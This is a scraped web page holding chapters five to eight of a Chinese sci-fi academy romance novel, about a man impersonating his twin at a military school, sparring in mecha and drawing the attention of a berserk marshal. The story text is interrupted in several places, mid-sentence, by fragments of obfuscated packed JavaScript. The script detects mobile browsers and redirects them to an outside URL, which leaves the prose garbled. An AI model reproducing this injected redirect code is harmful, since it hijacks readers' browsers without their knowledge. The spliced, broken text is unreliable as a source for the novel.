RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程青梧缓缓转过头。 晏疏野面对着他的方向侧躺着。 晨光勾勒出他眉骨和鼻梁,那双深邃的眸子此刻闭着,秾纤的睫毛在眼下投出浅浅阴影。龙角在昏暗光线下收敛了锋锐,显出安静的轮廓。男人呼吸平稳深长,显然睡得很熟。 程青梧的手,正按在对方结实的胸|膛上。 程青梧被烫到了般,匆匆收回手。 数息钟后,迟来的记忆才终于彻底归位。 他代替弟弟来沧麓军校上学一个月,今天正式上课。 程青梧的神经一霎地绷紧了。 六点半就有课,绝对不能迟到。 他离开房间迅速下楼。 时间紧迫,但早饭不能不吃。 程青梧在厨房生起小火,架上小锅,从带来的储备里翻出生姜和红糖,又奢侈地倒了一点珍藏的可乐——这玩意儿在大星上可不便宜,但特殊时期,需要点甜味和热量来开启漫长的一天。 可乐姜汤在锅里咕嘟咕嘟冒着泡,辣甜的气息渐渐弥漫开来。 另一边,他用昨晚处理好的一小块星兽嫩肉切成薄片,另起一小锅清水煮开,下了两人份的面条。肉片在滚水里迅速烫熟变色,捞出备用。面条煮到恰到好处时,他磕了两颗鸡蛋进去,蛋白迅速凝固包裹住面条。 最后,程青梧将烫熟的星兽肉片铺在面上,浇上一勺酱汁,撒了点葱花。 葱花是从青瓷星带来的干货,用水泡开的,香气稍逊,但聊胜于无。 两碗热腾腾的星兽肉鸡蛋面,两杯暖胃的可乐姜汤,很快摆在了餐桌上。 程青梧坐下来,快速吃完了自己那份。 面条爽滑,肉片鲜嫩,佐以鸡蛋溏心,再加上一碗姜汤下肚,整个人都暖和了起来。 吃完后,程青梧换上了作战服,一边把顾昕借给他的导航仪带上,一边把昨夜处理过的星兽骨头放进书包里,等今天抽空去机甲系一趟看看能不能换个好价格。 临出门前,他还没见到晏疏野下楼来。 是还没醒么? 要不要叫他? 程青梧犹豫了。 他看了眼时间,六点零五分。第一堂课六点半就开始,从909走到主训练场至少需要二十分钟,现在出发已经有点紧了。 晏疏野是什么专业的?课程安排和自己一样吗?如果不一样,冒然叫醒他,会不会打扰他休息? 毕竟他昨晚帮了自己那么大忙,还难得睡了个好觉。 左右权衡之下,程青梧觉得还是决定不叫醒他了。 他找来一个干净的盖子,将留给晏疏野的那份早餐盖好,保温。 然后出门上课了。 6. 第六章 【第六章】 朝暾时分的瞭哨亭,充满了议论声,众人都是在讨论那个军校生omega误入红色禁区的事。 虽然昨夜没有监测到元帅精神力暴动的痕迹,但他们还是做足了最坏的打算。 前面堆积了太多失败的案例,所以,大家对程白起能够活下来一事并不抱有希望。 直至蜂鸟飞行器维修好后,他们竟然监测到一道修长纤细的人影出现在了丛林入口,青年穿着大三生专属的作战服,外罩一件披风式外袍,朝着防御带走去。 大家都以为自己眼花了,将监控画面放大再放大,确认是程白起没错,一时之间,监控室内炸开了锅。 “我没看错吧,这个omega居然还活着?” “没错,真的是他。” “天啊,他到底是怎么做到的?” …… 程青梧自然不知晓众人在议论自己,穿过防御带以前需要途径瞭哨亭,遇到了昨天见到的那位脸上带疤的军人。 他打了个招呼:“早上好呀,长官。” 雷克斯点了示意了一下,静静观察了一番对方。 没有恐惧或是创伤的痕迹,甚至气色看起来比昨天还要好些。 这明显不合理。 每一个接触过元帅的人,都不会露出这样轻松的表情,更不可能全身而退。 “你可以叫我雷克斯,”雷克斯按下疑绪,斟酌着用词,关切道,“昨晚过得怎么样?” “很好啊。”程青梧弯了弯眼睛,道,“宿舍环境比我想象中好多了,宽敞、安静,床也很舒服。” 雷克斯有些意外——宿舍? 这个年轻人居然把令人闻风丧胆的红色禁区当成普通宿舍,这是什么荒诞的星际玩笑? 雷克斯没有把疑惑展现在脸上,顺着程青梧的话往下问:“那你跟新室友相处得怎么样,还适应么?” 程青梧回忆了一会儿,点了点头道:“他人挺好的,还帮我杀星兽。” 空气有几秒钟的沉寂。 雷克斯缓缓吐出一口气,温煦的晨风吹过,他却觉得后背有发冷。 基地因为废弃的缘故,与大森林相互衔接,所以经常有高阶星兽闯荡进来,这些星兽对于元帅自然构不成威胁,但对于一个普通军校生而言,那又另说了。 雷克斯从眼前这位学生身上感知不到很强悍的精神力,至少A级不该是这样的。 程青梧看了一眼时间,道:“跑操的时间马上就要到了,我先走了。” 雷克斯将疑惑咽了下去,微微颔首,直至目送青年的消失在能量罩背后,才吩咐下去:“继续监测他今天一天的行踪。” —— 清晨六点半的训练场上,程青梧卡在最后一分钟进入班级队伍,不一会儿,远处就响起教官的哨声,所有人朝前奔跑起来。 这是长达二十公里的跑操,非常考验人的体力和耐力。 程青梧很少这么剧烈运动过了,跑到一半就有些体力不济,渐渐速度就慢了下来。 他本来想松懈一小会儿,却被一个飞在半空的飞行器警告了:“名次倒数前十的同学,罚坐一千个俯卧撑!” 程青梧心间打了个突,原来普通跑操也要进行排名,他可不想做一千个俯卧撑,退一万步来说,若真是跑了个倒数,那就是给弟弟丢脸了。 程青梧只好铆足了劲儿继续跑。 好不容易熬到跑操结束,成绩公示屏亮起,程青梧看了一眼,“程白起”的名字在大三组中游偏下的位置,离倒数前十就差几个名字的距离,好险。 程青梧心中高高悬起的石头坦然放下。 然而,侥幸没多久,他就被教官叫去问话了。 “程白起,你这次跑得这么慢,是有什么心事吗?” 站在程白起面前的是个穿棕色背心的魁梧壮汉,程青梧发现教官的声音跟飞行器的声音一模一样,刚刚在放声警告的人应该也是他没错了。 开学前,程白起跟他提过几位军校教官,其中一位叫扎克的教官,管教严苛,还专门爱给学生加训,除非有信心把他打得心服口服,否则,只能乖乖任由他管教。 程白起天生反骨,叛逆不羁,没少在扎克手上吃过苦头,他形容扎克是一头变态的棕熊。 程青梧心想,眼前这头棕熊应该就是扎克了。 不知为何,他心中竟有一丝不好的预感。 果不其然,扎克朝着训练馆的方向,努了努下巴:“肯定是暑假偷懒了吧,现在给我滚去做一千个俯卧撑!” 不好的预感果然成真了。 下一节就是syncore机甲导论课,如果一千个俯卧撑做下来,肯定赶不上课的。 程青梧道:“教官,我可以先去上完机甲导论课吗,上完课再去做俯卧撑?” “连体力都跟不上,还上什么机甲课?”扎克表情尽是酷烈,“到时候在前线战场上杀虫族,你体力跟不上了,能够跟虫族商量,能不能先去睡一觉,睡完觉再打?” 程青梧无言以对。 在潜意识里,他觉得扎克教官说得有道理,战场凶险,危机无处不在,教官可以纵容他们,但虫族不会。 他跟着那十个跑步成绩倒数的学生去训练馆做俯卧撑。 好不容易等做完,他赶去上一号教学楼三楼上课,那是一间阶梯大教室。赶到时,能容纳两百人的教室几乎坐满了,课已经上了有一会儿了。 “白起哥,这里!” 程青梧循声望去,看到顾昕坐在倒数第二排靠窗的座位朝他招手,显然,对方热心地帮他占了座位。 程青梧从后门进去,坐在了顾昕旁边,一边翻开新教材,一边把导航仪还了回去。 顾昕没接:“你买了新通讯器吗?” 程青梧摇头。 顾昕把导航仪塞回去:“不急,等买到新通讯器再还给我。” 程青梧慨叹于对方的热心,说了声谢谢。以后有机会,他要给顾昕做好吃的。 讲机甲理论课的教授是一个相当年轻的男性omega,身上穿着白大褂,肩章上是联邦科学院特有的标志。 “他叫黎玮安教授,他爸是发明了syncore机甲的生父,开创了由alpha与omega共同驾驶双人机甲的先河。” 顾昕低声跟程青梧咬耳朵,语气里满是钦佩与兴奋,“现在不论是联邦,还是帝国,在前线打仗的时候,用的都是他们黎家设计的战斗机甲!你说厉害不厉害?” 程青梧看到前方的全息投影上方,一架银灰色机甲出现在讲台上方,它比传统的单人机甲更修长,肩背处有复杂的能量导管设计,最特别的就是两个驾驶舱,分有前后两个座位。 “syncore,就是两人同步作战的意思。” 黎玮安教授讲解道:“syncore机甲对两位驾驶者的要求很严苛,首先,双人精神力匹配度必须达到A级或以上,这是与机甲进行连接的基础标准,再者,你们还需要与搭档培养出默契,同步率保持在85%以上,才能在瞬息万变的战场上进行决策与战斗。” 接下来,黎玮安又介绍了几个重要的概念。 程青梧在笔记本记录着重要要点。虽然他没有正式上过军校的课程,但因为在来之前在星际飞船上恶补过教材,所以也不会不至于听不懂。 “接下来,我说的一点非常重要,”黎玮安推了推眼镜,“syncore机甲有一套神经共感系统,它会放大驾驶者的精神负荷。这意味着,如果你与搭档出现信任危机、情绪不稳,尤其是你们之间的精神力差距过大,共感系统本身所带来的的精神冲击是非常大的,不仅会让机甲原地宕机,甚至——” 黎玮安顿了顿,吐出两个字,“会让精神力较低的那一方死亡。” 教室里响起一阵压抑的吸气声。 “当然,如果你们与搭档十分默契,就会让机甲释放出无与伦比的战斗力。” 黎玮安教授切换画面,播放了一段实战录像:数架约莫有十余米之高的机甲在乌泱泱的虫潮的荒原上飞速穿梭,火力配合精准如一人,交睫之间便清出一片真空区。 画面最终定格在一架通体漆黑的机甲上,周身线条如同暗夜流动。 它比之前展示的机甲都更庞大,更壮观,更大气磅礴,肩甲处錾刻有暗金色的龙纹。 在录像中,它仅仅一个抬手,前方百米之内的虫族便化为齑粉。 教室里瞬间沸腾了。 “是沧溟!”有人激动地喊道。 “以前在预备科就听老师说过,全星际只有三架传说级机甲,沧溟就是传说级机甲之首!” “沧溟可是元帅的座驾啊!元帅是我心中的偶像!” …… 黎玮安教授抬手压下了论议声,但他的声音也充满了由衷的敬意:“没错,这是目前唯一一架还在使用的机甲‘沧溟’,而它的主驾驶者,相信你们也知道了,是元帅,他也是正是从沧麓军校走出去的。” 黎玮安看向满眼憧憬的学生:“青出于蓝而胜于蓝,你们都要好好努力,后天第一堂就是双人机甲实操课,趁着这几天,我希望你们找搭档主动了解与磨合。” 程青梧望着全息影像当中那一架漆黑的机甲,目光在肩甲处那醒目的龙纹驻留了一会儿。 很巧地,他联想起了新室友额头上的龙角。 晏疏野的精神体是黑龙,精神力应该在A级,开这种机甲应该不成问题,也不知道他现在有没有在上课。 理论课持续了两个小时,黎玮安深入浅出地讲解了syncore机甲的发展史、核心原理和基础操作理论。 下课铃响时,程青梧的笔记本已经记满了整整十页。 在训练馆做俯卧撑做到抽筋,现在又抄了整整两个小时,他的手腕完全酸得不行。 下午是格斗课,两点半才开始,现在还有差不多两个小时的自由活动时间。 程青梧想要去一趟机甲系,看看能不能把星兽骨卖出去,当下正准备收拾东西离开,旁边传来一道讥诮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077708|195289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音: “喲,这不是早上迟到的那位酷哥吗?笔记记得挺认真的,就是不知道能不能听懂。” 程青梧抬头,看到一位金发蓝眼的omega男生站在过道旁,长得挺英俊,就是眼神倨傲了一些,身边跟着两个跟班。 程青梧不认识他们,但想起之前程白起告诉过他,指挥系有个叫伊森的刺头很难对付,长着一张擅于挖苦的嘴。遇到这种情况,程白起就建议一拳招呼过去,以武服人。 程青梧不擅长以武服人,他的手还没有恢复好,这时候挥拳招呼过去,就是杀敌一千自损八百。 “伊森,少说两句。”顾昕从后面走过来,挡在程青梧面前。 “怎么,顾昕,这么快就找到靠山了?”伊森嗤笑一声。 顾昕脸色变得很难看。 伊森目光扫过程青梧,目光阴晦,“程白起,听说你跟阿瑞斯匹配成了搭档,但你今早跑得这么慢,还被罚去做俯卧撑,看着也不像是A级精神力者啊。” 程青梧心跳一拍,伊森是觉察出什么猫腻来了吗? 纵使心慌,但程青梧明面上不显,只淡定地收拾东西:“让一让,我要出去。” 伊森挑了挑眉,似乎没有料到他会是这种反应,仿佛是一个拳头砸在棉花上,颇觉无趣,哼了一声,带着人走了。 “别理他。”人走后,顾昕对程青梧道,“伊森那个家伙就是嫉妒你,他也是A级精神力者,希望能够匹配到阿瑞斯,但没能匹配上,所以今天一开学就来找你麻烦。” “他家里有点背景,所以在学校总是拉帮结派的,你以后离他远点。” 程青梧静静地望着顾昕,有点不解,伊森再跩,再有势力,但终究也是个omega,而顾昕是个alpha,为什么看上去有点忌讳的样子? 心中藏着一丝困惑,但程青梧没有问,他心里也明白,伊森这样的人不会是个例。在军校这样的地方,实力才是一切。 程青梧道谢之后,又想起正事,道:“你知道机甲系在哪里吗?” “当然知道,就在隔壁的教学楼,我带你去。”顾昕一边带路,一边问,“你是去找机甲系的同学吗?” “我想要买一个新的通讯器,但钱可能不够,”说起实情,程青梧脸有些热,“我有一些现成的星兽骨,想看看机甲系有没有人收。” 顾昕拍了拍程青梧的背,表示安慰,且道:“我听说机甲系有个叫路成渝的,特别有钱,专门搜星兽骨做机甲配件,而且按星兽等级给钱,交易也爽快。” 程青梧心中一动:“真的?” “不过,路成渝这人眼光很高,是黎玮安的首席弟子,专门制造A级或A级以上的战斗机甲,什么样等级的星兽骨配什么样的机甲,如果星兽骨等级低于A级,他一般不收的。” 话至此,顾昕打了个预防针,“所以,白起哥,我只是牵线搭桥,你的星兽骨能不能卖个好价钱,全凭你的运气。” 程青梧点了点头,道:“好。” 机甲系就在隔壁一座圆柱形的教学楼里,问了楼下的机器人助手,两人很快找到了路成渝所在的教室。 比起教室,这里更像是一座庞大的机械工厂,到处都是小山般的破铜烂铁。 顾昕本来要带程青梧进去找路成渝的,但他看了一眼光脑,对程青梧露出了抱歉的表情:“我临时有事,就不陪你进去了。白起哥,祝你好运!” 说完就匆匆离开了。 告别后,程青梧走进教室,一边四处浏览一边找人,一道低沉的声音忽然从他脚底的方向传来:“有事?” 程青梧吓了一跳,循声望去,看到一个脑袋从类似于机甲车的车底底下仰面伸出来,是个年轻的少年模样,戴着护目镜,漫不经心地望过来。 程青梧蹲下来,道明来意:“我是来找路成渝的。” “我就是。卖星兽骨的么?” 程青梧有些意外,对方知道了他的来意。 路成渝从车底底下泥鳅一般干脆利落地滑出来,他身上穿着蓝色工装,左边肩章上挂着红色飞鸟的徽识。 程青梧看过入学手册,飞鸟是机甲师独有的徽识,而红色是个很高的等级,应该比A级还高。 似乎洞察出了程青梧的疑惑,路成渝一边走上操作台,一边道:“隔三差五就有人找我卖星兽骨,我已经习惯了。” 他示意道:“把星兽骨拿出来,我看看。” 程青梧走到操作台的对面,从书包拿出了一个布袋,布袋摊开,取出了星兽骨。 “蓝豹兽,”不等程青梧开口介绍,路成渝已经做出了判断,“等级B级。” 程青梧内心微微一沉。 之前顾昕就跟他打过预防针,路成渝眼光很高,看不上A级以下的。 如果路成渝真的看不上,那他只能再想想办法了,看看校外有没有门路。大不了,就去校外的饭馆里兼职,赚点外快也好。 正思忖之间,却听路成渝敲了敲骨头,道:“三十万星币,卖吗?” 7. 第七章 【第七章】 “三十万星币,卖吗?” 程青梧微微一愣,以为路成渝在开玩笑,但看对方一脸肃穆的样子,显然不像是在开玩笑。 可是,B级星兽骨能够卖到这个价吗? 路成渝见他没反应,用戴着黑色尼龙手套的手指点了点那截泛着蓝光的骨头:“骨髓里有蓝晶,虽然量少,但纯度很高。我最近在做一套A级机甲转动轴,缺点蓝晶做阻尼图层。三十万星币是公道价,卖不卖?” “会不会太贵了点?”程青梧想起他以前在青瓷星上卖星兽骨,连皮带肉卖出去也才十二万星币。 路成渝忍不住看了程青梧一眼,他做了这么多年买卖,还是第一次遇到帮他省钱的。 路成渝反问道:“这头蓝豹兽是自己杀死的吗?” 程青梧点了点头:“是。” “是自己杀死的,那就配得感高一点。”路成渝拿出光脑,“你账户多少,我现在转给你。” 程青梧报了程白起的账户。 不一会儿,路成渝就放下光脑:“转好了。” 程青梧想了想,还是开口问道:“请问校内哪里能买到通讯器?” 来之前,他去楼下的电子超市看了,超市里什么都有卖,就是没有卖通讯器的。 路成渝正拿着骨头对光查看,闻言,再度看了一眼程青梧:“你没通讯器?” “……我没注意,在星际快线上被扒了。” 路成渝有些无语。 但他什么也没多说,弯腰从操作台底下捞出一个半新的橙白色金属环,推到程青梧面前:“喏,这个。我去年淘汰的备用光脑,基础通讯、校内网络、身份识别都能用。” 稍作停顿,“不要钱,算添头。” 经过刚才与路成渝打交道,程青梧知道对方是个耿直爽快人,说一不二的那种,所以他就心安理得地收下了。 军校里,还是热心好人多啊。 走出机甲系教学楼时,午后的日光有些晃眼。 程青梧是第一次使用光脑这种高级通讯器,还有些不熟练,捣鼓了许久才找到可以登录星网的接口,登录上星网,光脑一堆信息弹了出来,都是程白起给他发的。 弟弟几乎发的都是伤情恢复进展的小视频。 最新的一条信息是十五分钟前发的。 程白起:【啊啊啊!哥,怎么有三十万星币进账!你做什么了!】 程白起:【语音电话未接通】 程青梧把这些小视频都看了一遍,确认弟弟伤情正在稳健恢复当中才松了一口气。 他本来想要直接给打个电话过去,但周围一直都有学生路过,他怕撞见同系同学,只好发文字信息过去。 程青梧:【这是一头蓝豹兽卖出去的钱。】 程白起回得很快: 【厉害啊,哥!】 程白起:【我看课表里,好像没有猎杀星兽的课程,这星兽你去哪里猎杀的?】 程青梧:【就是昨天夜里,宿舍外面突然遇到了星兽,我和新室友就一起解决了。】 程白起:【我记得沧麓的管理是非常严密的,平时不可能会有星兽闯进去。】 没等程青梧回应,程白起又道:【也看是管理疏忽了,好在哥没事就好。】 聊到最后,程白起:【我把三十万星币汇入到哥的账户上了,这是哥亲自赚的钱,不用给我,我这学期能靠自己赚钱。】 程白起虽然平时看起来玩世不恭,但也有自己的自尊心。 程青梧心里感到欣慰,弟弟好像在受伤之后,就懂事了许多。 兄弟两人又聊了一会儿,又聊到搭档这件事上。 程白起道:【你应该见到阿瑞斯了,他人怎么样?】 程青梧如实说:【我还没见到他。】 终端另一头的程白起有些困惑,他听说开学重新分配宿舍,就会和搭档住在一起。 他哥去学校报到第一天,应该就会和阿瑞斯碰面才是。 没见到搭档,难道是阿瑞斯没来军校吗? 程白起也没有多想,可能是阿瑞斯还没及时来军校报到吧。 程青梧看了一眼手腕上的时间,道:【待会儿有机甲格斗课,有哪些需要注意的地方吗?】 程白起连忙提点:【机甲格斗课一般是单人机甲模拟实战,大一大二都是魔鬼九项训练和高速旋转,这学期应该是打擂台赛。】 程白起还把自己的机甲型号告诉给了程青梧。 程青梧在光脑的备忘录逐一记下。 他没想到,下午的格斗课上,就遇到了阿瑞斯。 格斗课是在一个庞大的训练馆里进行的,场馆中央是高耸的格斗平台,平台两侧伫立着一排排训练用的机甲,周围已经聚集了不少学生。 今天是开学第一堂实战课,虽然不是驾驶syncore双人机甲,但众人都摩拳擦掌,显得很亢奋。 程青梧找到了程白起的机甲,通体雪白色,身姿如猎鹰,程白起还取了一个相当霸气的名字,叫做“鹰扬”。 还没正式上课,程青梧打算爬上机甲的驾驶舱熟悉一下操作。 说起来,沧麓军校还真有钱啊,一人一台机甲甚至多台机甲,不像以前上军校预备科的时候,学校穷,只能买得起一套机甲,每天无数学生抢着用,资源匮乏到了令人发指的地步。 从入学到毕业程青梧一共只使用过不到三次机甲。毕业之后父母出了祸事,也是从那时起,程青梧再也没有碰过机甲。 这一回,程青梧看着眼前高大峻挺的白色机甲,有些恍惚。 弟弟希望他尽量不要碰机甲,怕跟机甲进行连接时会伤害到他,而且,这么多年没碰机甲,操作起来一定很生疏。 程青梧摸了摸机甲冰冷的金属面,不知为何,竟是感受到一阵亲切感,好像他也本应该成为这里的一份子。 上机甲格斗课之前,程青梧重新翻了一遍教材,各种机甲理论都粗略读了一遍,当然,光读理论是没用的,得实操才行。 正思忖间,他感受到身后传来一道充满杀气的攻招! 程青梧反应很快,侧身翻了过去。 前一秒避开,下一秒他刚刚离开的位置,就传来很响亮的撞击声,足以想象,要是被打中了,会受到多大的伤害。 再回头,程青梧对上一双深棕色的眸子。 对方是个alpha,比他高了近一个头,身姿挺拔如枪,穿着笔挺的作战服。最引人瞩目的是他那一头棕红色短发,在晌午日光之下格外耀眼,五官深刻,鼻梁高挺,下颔线绷着一种近乎冷傲的弧度。 没等程青梧开口,对方就主动开了腔:“程白起,听说你是我这学期的搭档,挺能打的,那么在后天正式协同训练之前——” 他抬手指向格斗台,“我想先看看你的实力。” 对方突然宣战,让程青梧有一点懵。 这根本不是邀请,而是一句命令。 一语掀起千层风浪,周围的学生瞬间兴奋起来,跟炸了蚁巢似的。 “天啊,阿瑞斯要单挑!” “开盘了开盘了!押谁能赢!” “这还用说?阿瑞斯上学期可是机甲格斗赛的前三强!” “程白起也不差啊,他也进了八强呢!” 论议声不绝于耳。 程青梧看着阿瑞斯,心里有些没底。 要是弟弟跟阿瑞斯打,以弟弟那好战的性子,保不准能赢。 但是他自己……可就不一定了。 程青梧试图拖延时间:“能不能等教官来了,正课讲完再比?” 阿瑞斯淡笑一声,显得不以为然:“教官见我们主动发起格斗,这样的事他乐见其成。你这样拖拖拉拉,该不是——” “怕输吧?” 程青梧根本不吃这套激将法,但他心里清楚,迎难而上是弟弟的风格,如果当着全班同学的面畏畏缩缩,反而会让人起疑。 程青梧深吸了一口气,知道自己彻底是躲不过去了,走向升降梯:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077709|195289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好。” —— 下午,红色禁区。 晏疏野醒来的时候,枕边空无一人。 蛋黄酥色的阳光从残旧的高窗偏略地斜射而入,在素色床单上切出一条明暗交界线。 晏疏野浸泡于昏暗的光影之中,秾纤卷翘的鸦黑睫羽低低敛下,在卧蚕处投放下一片沉郁的翳影。 他往旁侧望去。 白色床褥上只残留着很淡的体温,还有那股昨夜让他得以安眠的松油薄荷气息。 但人不见了。 晏疏野目光冷漠地扫过房间,omega的行李还摆放在角落,粉色猫耳围裙还挂在简易衣架上。 晏疏野来到楼下大厅,看到一碗面条和一碗深色液体被一只素绢罩子罩着。 他揭开素绢罩子。 面凝成皱皱的一坨,姜汤也不再冒热气。 晏疏野伫立在原处,注视了许久。 某种陌生湿涩的情绪,如夏夜的火,纷纷涌涌烧灼在他空白的意识深处,浸满了整个思考的空间。 这是那个omega给他做的。 晏疏野伸出手指,碰了碰面碗的碗沿,触指是一片冰冷。 晏疏野没有食用,比起填饱肚子,现在盘踞在心头的一件事,就是那个omega的下落。 晏疏野来到后院,后院只有孤零零的晒有肉条的架子,没有人影。 他又去了丛林的湖泊,同样一无所获。 那个omega为什么要离开? 是恐惧他,所以逃跑了吗? 可是,他们昨晚不是相处得好好的吗? 既然相处得好,那个omega为什么要逃? 晏疏野的情绪,从最初的不解,逐渐演变为了愤怒,随着精神力的贲发,陶瓷质地的面碗一霎地碎成四分五裂,装盛有姜汤的碗也化作了齑粉。 他周身无形溢散出来的精神力,就像是爆发的火山岩浆,裹挟着绯色的细小光点,朝着方圆数里之外的地方迅速蔓延。 禁区上空的天穹为之变色,乌云密布,山雨欲来风满楼。 晏疏野目光落在了禁区之外的教学楼,他嗅到了那个omega的信息素。 他要把人捉回来。 …… 同一时间,警报声响彻在整个瞭哨亭。 “‘他’出来了!” “元帅离开禁区了!” 混乱又紧张的氛围充溢在戍卫队的队员之间。 雷克斯扑到屏幕前,看着代表元帅的能量标记正穿过防御带,由北往南朝教学区移动,所过之处,精神力暴动的读数一路飙升,眼看快要突破阈值,飙升至灾难级别。 所谓灾难,就是字面意义的灾难。 引发极端天气,比如雷暴雨。 当然这也是小事,最关键的问题在于,元帅暴动的精神力辐射范围非常大。 身为一个超SSS级精神力者,他的精神力会无意识会形成一个堪比海啸的巨大能量场,所及之处,如同核爆冲击,这不仅会影响整座沧麓军校通电系统和战斗机甲的使用,甚许多精神力还未平稳的人也会受到严重的影响。 雷克斯太阳穴突突直跳,吩咐启动最高防御模式,可是已经迟了,戍卫队队员脸色苍白地告诉他:“元帅的精神力暴动将防御模式屏蔽掉了……现在最高防御模式失效了!” 雷克斯倒吸了一口凉气,最高防御也已经到失效的地步了吗? 他面色凝肃,吩咐下去:“把元帅离开禁区一事紧急上报给秦校长!” “紧急疏散全校所有师生,今天停课!” 大家领命称是,各自忙活。 雷克斯心中生出了困惑:过去几个月,元帅虽然时有精神力暴动的情况,但还未主动离开过红色禁区。 这次他为什么要离开? 雷克斯盯着元帅移动的方向,又通过数据库调出了程白起的课表,心中生出了一个极其荒诞的念头—— 难道是因为程白起? 8. 第八章 【第八章】 风暴还未抵达教学楼,训练馆内一片人声鼎沸。 格斗台上,两座机甲相对而立,对战一触即发。 阿瑞斯的机甲是深铁灰,名字也取得非常张扬狂狷,叫做“战神”。 阿瑞斯一直在等程白起出招,但等了好一会儿,对方都毫无反应。 他以为对方在酝酿着什么大招,也就耐心地等待着。 殊不知,对方正坐在驾驶舱里,以一种临时抱佛脚的学习心态,重新学习开机甲。 程青梧眼前是一片密密麻麻的操纵界面,以前军校预备科他也操作过机甲,机甲有两种主要操作模式:一种是通过手柄、踏板和虚拟按键下达指令;另一种是更高级的精神力感知模式,需要将精神力接入机甲的神经接驳系统,达到“人机一体”的状态。 在预备科读书时,他一直沿用的是第一种操作模式,他是B级精神力,第一种操作模式是最合适他的,适应的过程也会比较短暂。 当然,那时程青梧也尝试过用精神力去连接机甲,但一次都没有成功过。精神力等级比他还低的同学都能让机甲动一动走一走,唯独他不行,机甲毫无响应。 预备科的老师安慰他,人各有命,不是所有人有开机甲的天赋的,同为孪生兄弟,程青梧开不动的机甲,程白却能用精神力无缝衔接,开得风生水起,三个月内打遍全校无敌手,这何尝不是一种造化呢? 眼下,程青梧选择保守一点的战略,就沿用以前的第一种操作模式,打算先原地热身一下。 这时,公共频道上突然响起阿瑞斯冷峻的声音:“对战开始!” 程青梧看到屏幕上战神踏步前冲,抡起右拳直截了当地招呼而来! 看来阿瑞斯是等得不耐烦了。 战神的攻势大开大阖,虽然待在机甲里,但程青梧能够明晰地感受到那一阵凛冽的拳风直逼而来。 整个格斗台的地面都在隐隐震动,跟地震了一般。 没有摸索的时间了!程青梧只能凭感觉立刻推动操控杆,鹰扬向侧方滑步闪退。 出乎意料地,动作很流畅。 程青梧微微一怔,感觉到这座白色机甲似乎对他的操作响应很快,甚至连基本的适应与磨合都不用。 是弟弟之前调整过参数吗? 鹰扬避开了战神的进攻,退守一旁。 躲开了第一次后,阿瑞斯的进攻变得越来越亢奋与激进,再次发起进攻时,这次是组合拳接低段踢。 程青梧不得不集中全部的精神应战,操控鹰扬持续后撤、格挡、再撤。 每一个动作都险之又险地避让开了。 台下的吆喝声更响了。 “阿瑞斯加油!” “程白起怎么光顾着闪躲,也不进攻,一点意思也没有!” 程青梧的额心渗出了细汗。 他渐渐找到了一些手感,机甲的响应固然很快,但总有一种微妙的迟滞感。 他的意识发出指令,手部操作,机甲负责执行,中间总有那么零点几秒的间隙,还不够流畅与丝滑。 昨夜他击杀蓝豹兽的时候,身随心动,动作流畅,既如此,操作机甲的时候也该是这样的境界。 他猜想,阿瑞斯很可能也是用精神力来操控机甲的,战神的招式灵活多变,有强烈的个人风格,这可不是单纯控制版面就能做得到的。 所以,他要不要也试一试切换成用精神力操控机甲? 然而,阿瑞斯并没有给程青梧切换操作模式的时间。 他对鹰扬一直闪避的策略感到很不满, 战神抡拳而来,却是一个假动作,左拳以刁钻的角度自下而上掀起! 程青梧暗道一声不好,阿瑞斯的速度真的太快太猛了,等自己反应过来的时候,对方的左拳已经逼到眼前来了! 这一回他完全躲不过去! 程青梧想试试能不能朝后滚跳,在显然他试错了水,鹰扬非但没有后撤,反而迎着那一拳向前迈了半步—— 砰! 来势汹汹的撞击声响起,鹰扬被一拳砸掀在地。 全场一片鸦雀无声。 连阿瑞斯都怔住了。 他这一拳虽然用了七分力,但以程白起在过去两年以来作战记录展现的水准,不应该躲不开,更不应该犯这种低级错误。 “给我起来,”阿瑞斯走到白色机甲面前,在公共频道发出命令,“认真打。” 程青梧真的在全力以赴在打,但一方面操作速度明显跟不上意识,另一方实战经验少,所以,他并没有像练过两年机甲的军校生那样游刃有余。 尤其是刚刚那一下撞击,让他胸口发闷,甚至眼前也一阵一阵地发黑。 虽然有机甲做缓冲,但机甲受到的伤害,也会直接反馈在驾驶者身上,这还是没有与机甲连接精神力的情况,如果连接了精神力,驾驶员所收到的伤害怕是会更大。 程青梧缓了好一会儿才缓过来,操纵着鹰扬重新站起。 他需要改变策略,改守为攻,只有破了阿瑞斯的攻势才有突破僵局的可能。 他观察到,战神的胸甲上装有厚重的防御装置,一般来说,攻击较强的机甲,防御方面都会偏弱,但战神完美抵消了这个弱点。 所以说…… 程青梧决定绕到战神后面绽开进攻,战神的背面才是他的薄弱处! 等下一次战神出招时,程青梧利用鹰扬机甲的轻盈,干脆利落地从对方双条机械腿之间滑了过去,跟泥鳅一般,让战神的拳风落了个空。 这一举动让阿瑞斯有些意外,意外之余,他觉得有意思起来。 程青梧绕到战神背面,作势发起进攻,但到底慢了一步,战神居然扭了个风骚的转身,双臂牢牢扳住鹰扬两侧的肩甲,走了个过肩摔—— 轰! 鹰扬如一个风筝飞了出去。 经受一阵猛烈的撞击,程青梧眼前一黑,昏迷了过去。 失去意识前,他心中只装着一件事。 